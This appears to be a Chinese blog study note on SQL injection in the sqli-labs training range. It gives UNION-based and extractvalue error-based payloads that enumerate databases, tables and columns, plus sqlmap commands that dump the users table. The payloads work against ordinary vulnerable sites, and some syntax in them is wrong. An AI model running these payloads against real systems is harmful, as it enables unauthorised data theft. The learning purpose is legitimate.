sql注入

1手动注入

        判断有无注入点     and 1=1;true

随便输入内容==报错  有注入点

没有报错==无注入点

2使用'或者是“进行闭合

其中“#”多用于post提交,--+用于url提交

union联合注入:

union 关键字可以将两段sql语句连接到一起 (注意:两端长度必须要一致)

注入流程

1,查找注入点

2,判断是字符型还是数字型 and1=1 and1=2 /3-1

3,字符型的话找闭合点方式 ‘  “   ‘)  “)

4,判断查询列数,group by order by

5,查询回显位置,-1

6注入完成

注意 闭合符容易写成中文,导致错误

1查询数据库名称

select database()查询数据库的名字但是要同前面语句的列的长度保持一致

2 猜解列名数量

group by m(m表示表中的第m列)

order by %20   (其中%20的意思是空格)

也就是说如果我要使用两个这个关键字我需要知道前面字段的个数

例如:url?id=1 union select group by m --+(m可以进行爆破攻击)

3查询回显位(注意页面不会显示第一位的内容)

例如:url?id=-1‘union select 1,2,3--+

id=-1 通过 id=-1 可以构造一些逻辑判断语句来探测数据库的版本、表名、列名等信息和绕过错误机制使不应该显示的东西显示出来。

结果会回显 2和3 因此我们可以从这两个位置插入语句(注意:1的位置没有回显位因此我们不能使用1号位置)

结合以上 情况我们可以使用version()和database()来查看数据库的版本号和数据库的名称

通过id=-1或者是0可以使得页面只能显示一个内容,第二句的内容是不显示的,可以把第一句的内容改为数据库不存在的数据.

例如:?id=0'union select 1,2,database()--+ 

4.从回显点处做信息收集

使用version()来查询数据库的版本号

高版本5.0 有系统库:information

低版本 没有系统库

使用database()可以查看系统库库名

5.使用对应sql进行注入

数据库库名:security

所需数据库的信息在:数据库information_schema------》数据表tables   -------》columns列集合表

id=0'union select 1,table_name,3from information_schema.tables --+

3,过滤在security数据库中的表名,即table_schema为security的行

id=0'union select 1,table_name,3 from information_schema.tables where table_schema='security'--+

4,group_concat()的作用

确保所有的查询信息能放到一行显示出来

例如:id=0'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

实例:

SELECT schema_name FROM information_schema.schemata--+   查找数据库中的所有模式的名称

limit 0,1表示第一行的第一列数据通常是表名(效率低下)

group_concat()函数可以直接用order by进行排序

sql靶场的实例

数字型SQL注入漏洞

1,通过id=2-1得到id=1的界面发现是数字型,所以不用进行闭合

2解释下面命令

查询数据库名称和版本号

url?id=-1?‘ union select 1,database(),vision()--+;

如果要想得到回显需要将前面id的值变成一个不存在的值

查找表名:

http://sql/Less-2/?id=0 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database()--+

group_concat(table_name)用来显示数据库中的表名

form information_schema.tables表示来自于schema这个数据库

WHERE table_schema = DATABASE() 的含义是:

  • 筛选出当前数据库中的表或数据对象

  • 这条语句通常用在查询 information_schema 数据库中的表时,确保只查询当前数据库相关的数据。

上面的例子是筛选出数据库中的表名

查找列名

http://sql/Less-2/?id=0 union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database()--+

语句解析

不同点见上方标红部位

其中columns表示的是在此数据库中的所有的表中列的名称

column表示的是列的名称

下一级

information_schema.tables 查找表名

table_name

查询serurity库下面的所有表名

group_concat(table_name)//用来分组

union select 1,table_name,3 from information_schema.tables

where table_scheam=’库名‘;(或者是database())

注意 =前后不要写空格否则会报错

几个盲注的函数

length()函数,返回 字符串的长度

Sustr()截取字符串

Ascii()返回字符的ascii码

left(name,2):函数返回name的左边第二个字符

right(name,2):函数返回name右边边第二个字符

真假:and,or

sql分类

根据注入的方式来分类

get,post,cookie,head注入

判断是字符型注入还是数字型注入的方法

可以使用id=1 and 1=1 and1=2 如果有回显就是字符型

二注入方式来分类

1有回显的注入

2盲注

3二次注入

4报错注入

5堆叠注入

6宽字节注入

判断sql注入是

报错注入

利用extractValue()进行报错注入(注意报错回显只能最多显示30个字符)

例如

less-5

这种初始界面没有任何的报错回显的情况下我们可以尝试使用这种方式进行测试

http://sql/Less-5/?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select database())))--+

extractvalue()指的是报错的注入方式

concat(,)是将”,“左右两边的数据进行拼接

select database() 是进行数据库的名称

0x7e 是 '~'符号的进制转换

通过上述语句可以尝试进行注入,发现有回显

查找数据库的表名

http://sql/Less-5/?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

可以看到所有的表名

通过改变不同颜色的关键字可以查找出不同表中的列的信息

问题只能显示不超过30个字符
解决方法:

http://sql/Less-5/?id=1' union select 1,2,extractvalue(1,concat(0x7e,substring(select group_concat(table_name)from information_schema.tables where table_schema=database(),31,30)))--+

        

使用自动工具进行注入测试

免责声明:所有的注入测试均在合法的环境中进行该报告只为工具学习的笔记,如有雷同纯属巧合

工具准备 kali中的sqlmap(注意要将kali和靶场之间ping通)

基础知识:

| 类型                      | 含义     | 一句话解释                  |
| ----------------------- | ------ | ---------------------- |
| **boolean-based blind** | 布尔盲注   | 页面真假内容不同,可逐字猜数据        |
| **error-based**         | 报错注入   | 让数据库把数据直接报错回显          |
| **time-based blind**    | 时间盲注   | 无回显,靠 `SLEEP(5)` 延时猜数据 |
| **UNION query**         | 联合查询注入 | 直接把查询结果拼到页面里,**最快**  |


测试步骤:

步骤1 开启sqlmap 然后输入在sqlmap的终端中输入 -u "输入要测试的网址(需要带有注入点)" --batch --dbs

等待扫描,扫描完成后根据信息查看注入点

像是这样的字样就是已经发现的注入点了

库名:

以上就是爆出的库名

步骤二 爆出库中的表名和数据    sqlmap -u  “地址” -D security --tabls --batch

例如:sqlmap -u "http://sql/Less-1/?id=1" -D security --tables --batch

| 片段                             | 完整写法                              | 作用说明                                     |
| ------------------------------ | --------------------------------- | ---------------------------------------- |
| `sqlmap`                       | ——                                | 调用 sqlmap 程序                             |
| `-u "http://sql/Less-1/?id=1"` | `--url="http://sql/Less-1/?id=1"` | 指定要测试的 **完整 URL**,并把 GET 参数 `id=1` 作为注入点 |
| `-D security`                  | `--db=security`                   | 只扫描 **security** 这个数据库,跳过其他库             |
| `--tables`                     | ——                                | 列出该库下的 **所有数据表**(tables)                 |
| `--batch`                      | ——                                | **全自动模式**,所有交互提示默认选 Yes,无需手动回车           |
结果如下

步骤3: 然后查看自己想要哪张表的信息 假如我要users和emails两个表中的数据

    sqlmap -u "http://sql/Less-1/?id=1" -D security -T users --dump --batch

| 片段         | 作用                |
| ---------- | ----------------- |
| `-T users` | 只脱 `users` 表      |
| `--dump`   | **把表内所有行/列数据拉下来** |
| `--batch`  | 全程默认 Yes,不打扰      |

数据已经提取出来了


 

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值